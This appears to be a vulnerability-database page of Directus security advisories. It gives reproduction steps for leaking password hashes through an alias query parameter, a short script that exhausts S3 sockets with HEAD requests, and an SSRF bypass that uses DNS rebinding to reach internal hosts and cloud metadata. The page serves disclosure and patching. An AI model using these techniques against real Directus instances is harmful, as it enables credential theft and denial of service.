Directus allows redacted data extraction on the API through "alias" ## Summary A user with permission to view any collection using redacted hashed fields can get access the raw stored version using the `alias` functionality on the API. Normally, these redacted fields will return `**********` however if we change the request to `?alias[workaround]=redacted` we can instead retrieve the plain text value for the field. ## Steps to reproduce - Set up a simple role with read-access to users. - Create a new user with the role from the previous step - Assign a password to the user The easiest way to confirm this vulnerability is by first visiting `/users/me`. You should be presented with a redacted JSON-object. Next, visit `/users/me?alias[hash]=password`. This time, the returned JSON object will included the raw password hash instead of the redacted value. ## Workaround This can be avoided by removing permission to view the sensitive fields entirely from users or roles that should not be able to see them. |
Affected by 25 other vulnerabilities. |
|
VCID-uft7-5e9d-dqh8
Aliases: CVE-2025-30350 GHSA-rv78-qqrq-73m5 |
Directus's S3 assets become unavailable after a burst of HEAD requests ### Summary There's some tools that use Directus to sync content and assets. Some of those tools use HEAD method, like Shopify, to check the existence of files. Although, when making many HEAD requests at once, at some point, all assets are being served as 403. ### Details When I was investigating this issue, I have found that after the burst of HEAD requests, the amount of `sockets` held on [Agent on NodeHttpHandler](https://github.com/smithy-lang/smithy-typescript/blob/main/packages/node-http-handler/src/node-http-handler.ts#L189) was always equal to [`STORAGE_CLOUD_MAX_SOCKETS`](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L89) making it impossible to have new connections causing assets to be inaccessible. After looking into this [issue on AWS SDK](https://github.com/aws/aws-sdk-js-v3/issues/6691) I found that if the [stream is requested](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L213), it needs to be consumed otherwise will hang forever. And as can be [seen here](https://github.com/directus/directus/blob/main/api/src/controllers/assets.ts#L233-L238) the stream is not consumed. The [timeouts set here](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L87-L88) had no noticeable effect on tests made. ### PoC This can be easily reproduced with the following steps: - setup AWS S3 storage - set STORAGE_CLOUD_MAX_SOCKETS: "50" (this value is lower than default for easier reproduction) - upload a file to your project - run this file (Replace the the file ID with the one you just uploaded): ```ts import axios from "axios"; async function start() { Array.from({ length: 400 }, (_, i) => { axios .head( "http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8" ) .then(() => console.log("✅")) .catch((e) => console.log("⛔", e.response?.status || e.code || e.message) ); }); } start(); ``` Here's an example: https://github.com/user-attachments/assets/29d65bf0-5637-478f-a215-083c2ded3753 ### Impact This causes denial of assets for all policies of Directus, including Admin and Public. |
Affected by 11 other vulnerabilities. |
|
VCID-vt3b-2dr3-aka2
Aliases: CVE-2025-64746 GHSA-9x5g-62gj-wqf2 |
Directus has Improper Permission Handling on Deleted Fields ### Summary Directus does not properly clean up field-level permissions when a field is deleted. If a new field with the same name is created later, the system automatically re-applies the old permissions, which can lead to unauthorized access. ### Details When a field is removed from a collection, its reference in the permissions table remains intact. This stale reference creates a security gap: if another field is later created using the same name, it inherits the outdated permission entry. This behavior can unintentionally grant roles access to data they should not be able to read or modify. The issue is particularly risky in multi-tenant or production environments, where administrators may reuse field names, assuming old permissions have been fully cleared. 1. Create a collection named test_collection. 2. Add a field called secret_field. 3. Assign a role with read permissions specifically tied to secret_field. 4. Remove the secret_field from the collection. 5. Create a new field with the exact same name secret_field. 6. Notice that the previously assigned permissions are still active, granting access to the newly created field without reconfiguration. ### Impact When creating new fields with the same name as previously deleted fields it may inherit the permissions of that previously deleted field. This can potentially result in accidentally giving access to this new field in existing policies. |
Affected by 2 other vulnerabilities. |
|
VCID-zjtb-sh5z-h3gg
Aliases: CVE-2026-26185 GHSA-jr94-gj3h-c8rf |
Directus Vulnerable to User Enumeration via Password Reset Timing Attack ### Summary A timing-based user enumeration vulnerability exists in the password reset functionality. When an invalid reset_url parameter is provided, the response time differs by approximately 500ms between existing and non-existing users, enabling reliable user enumeration. ### Details The password reset endpoint implements a timing protection mechanism to prevent user enumeration; however, URL validation executes before the timing protection is applied. This allows an attacker to distinguish between valid and invalid user accounts based on response timing differences. ### Impact This vulnerability violates user privacy and may facilitate targeted phishing attacks by allowing attackers to confirm the existence of user accounts. |
Affected by 0 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-6z4j-ev48-67hq | Directus vulnerable to Server-Side Request Forgery On File Import ### Summary Directus versions <=9.22.4 is vulnerable to Server-Side Request Forgery (SSRF) when importing a file from a remote web server (POST to `/files/import`). An attacker can bypass the security controls that were implemented to patch vulnerability [CVE-2022-23080](https://security.snyk.io/vuln/SNYK-JS-DIRECTUS-2934713) by performing a [DNS rebinding attack](https://en.wikipedia.org/wiki/DNS_rebinding) and view sensitive data from internal servers or perform a local port scan (eg. can access internal metadata API for AWS at `http://169.254.169.254` event if `169.254.169.254` is in the deny IP list). ### Details DNS rebinding attacks work by running a DNS name server that resolves two different IP addresses when a domain is resolved simultaneously. This type of attack can be exploited to bypass the IP address deny list validation that was added to [`/api/src/services/file.ts`](https://github.com/directus/directus/blob/main/api/src/services/files.ts) for the function `importOne` to mitigate the previous SSRF vulnerability [CVE-2022-23080](https://security.snyk.io/vuln/SNYK-JS-DIRECTUS-2934713). The validation in [`/api/src/services/file.ts`](https://github.com/directus/directus/blob/main/api/src/services/files.ts) first checks if the resolved IP address for a domain name does not a resolve to an IP address in the deny list: ```js let ip = resolvedUrl.hostname; if (net.isIP(ip) === 0) { try { ip = (await lookupDNS(ip)).address; } catch (err: any) { logger.warn(err, `Couldn't lookup the DNS for url ${importURL}`); throw new ServiceUnavailableException(`Couldn't fetch file from url "${importURL}"`, { service: 'external-file', }); } } if (env.IMPORT_IP_DENY_LIST.includes('0.0.0.0')) { const networkInterfaces = os.networkInterfaces(); for (const networkInfo of Object.values(networkInterfaces)) { if (!networkInfo) continue; for (const info of networkInfo) { if (info.address === ip) { logger.warn(`Requested URL ${importURL} resolves to localhost.`); throw new ServiceUnavailableException(`Couldn't fetch file from url "${importURL}"`, { service: 'external-file', }); } } } } if (env.IMPORT_IP_DENY_LIST.includes(ip)) { logger.warn(`Requested URL ${importURL} resolves to a denied IP address.`); throw new ServiceUnavailableException(`Couldn't fetch file from url "${importURL}"`, { service: 'external-file', }); } ``` Once it validates that the resolved IP address is not in the deny list, then it uses `axios` to `GET` the url and saves the response content. ```js try { fileResponse = await axios.get<Readable>(encodeURL(importURL), { responseType: 'stream', }); } catch (err: any) { logger.warn(err, `Couldn't fetch file from url "${importURL}"`); throw new ServiceUnavailableException(`Couldn't fetch file from url "${importURL}"`, { service: 'external-file', }); } ``` However, this validation check and fetching the web resource causes to DNS queries that enable a DNS rebinding attack. On the first DNS query, an attacker controlled name server can be configured to resolve to an external IP address that is not in the deny list to bypass the validation. Then when `axios` is called, the name server resolves the domain name to a local IP address. ### PoC To demonstrate we will be using an online tool named [rebinder](https://lock.cmpxchg8b.com/rebinder.html). Rebinder randomly changes the IP address it resolves to depending on the subdomain. For an example, `7f000001.8efa468e.rbndr.us` can resolve to either `142.250.70.142` (google.com) or **`127.0.0.1`**. Sending multiple `POST` requests to `/files/import` using this domain will eventually cause a resolution to `142.250.70.142` first to bypass the validation then fetch the sensitive from an internal server when `axios` is called. The following screenshots show what it looks like when a successful attack occurs. *Downloading a file named `secret.txt` from a webserver running from `http://127.0.0.1/secret.txt`*  *Receiving the request from the internal server. Note that the incoming connection is from **127.0.0.1**.*  *After downloading the file it leaks the content of the secret file.*  ### Impact An attacker can exploit this vulnerability to access highly sensitive internal server and steal sensitive information. An example is on Cloud Environments that utilise internal APIs for managing machine and privileges. For an example, if `directus` is hosted on AWS EC2 instance and has an IAM role assigned to the EC2 instance then an attacker can exploit this vulnerability to steal the AWS access keys to impersonate the EC2 instance using the AWS API. |
CVE-2023-26492
GHSA-j3rg-3rgm-537h |
| VCID-vthx-5g35-zfcp | directus vulnerable to HTML Injection in Password Reset email to custom Reset URL ### Impact Instances relying on an allow-listed reset URL are vulnerable to an HTML injection attack through the use of query parameters in the reset URL. ### Patches The problem has been resolved and released under version 9.23.0. People relying on a custom password reset URL should upgrade to 9.23.0 or later, or remove the custom reset url from the configured allow list. ### Workarounds Disable the custom reset URL allow list. |
CVE-2023-27474
GHSA-4hmq-ggrm-qfc6 |